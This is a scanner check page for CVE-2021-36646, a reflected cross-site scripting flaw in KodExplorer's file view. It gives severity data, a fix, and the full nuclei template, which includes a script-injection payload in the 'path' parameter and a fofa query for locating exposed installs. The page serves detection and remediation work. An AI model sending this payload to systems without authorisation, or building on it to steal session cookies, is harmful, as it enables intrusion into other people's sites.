KodExplorer - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.

Impact

Attackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions.

Fix

Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "KodExplorer"
Send: GET {{BaseURL}}/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-36646 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-36646

info:
  name: KodExplorer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the 'path' parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user's browser.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/482
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36646
    cwe-id: CWE-79
    epss-score: 0.00806
    epss-percentile: 0.57103
  metadata:
    max-request: 2
    vendor: kalcaddle
    product: kod-explorer
    fofa-query: app="Powered-by-KodExplorer"
  tags: cve,cve2021,xss,kodexplorer,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "KodExplorer"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php?explorer/fileView&path=</script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from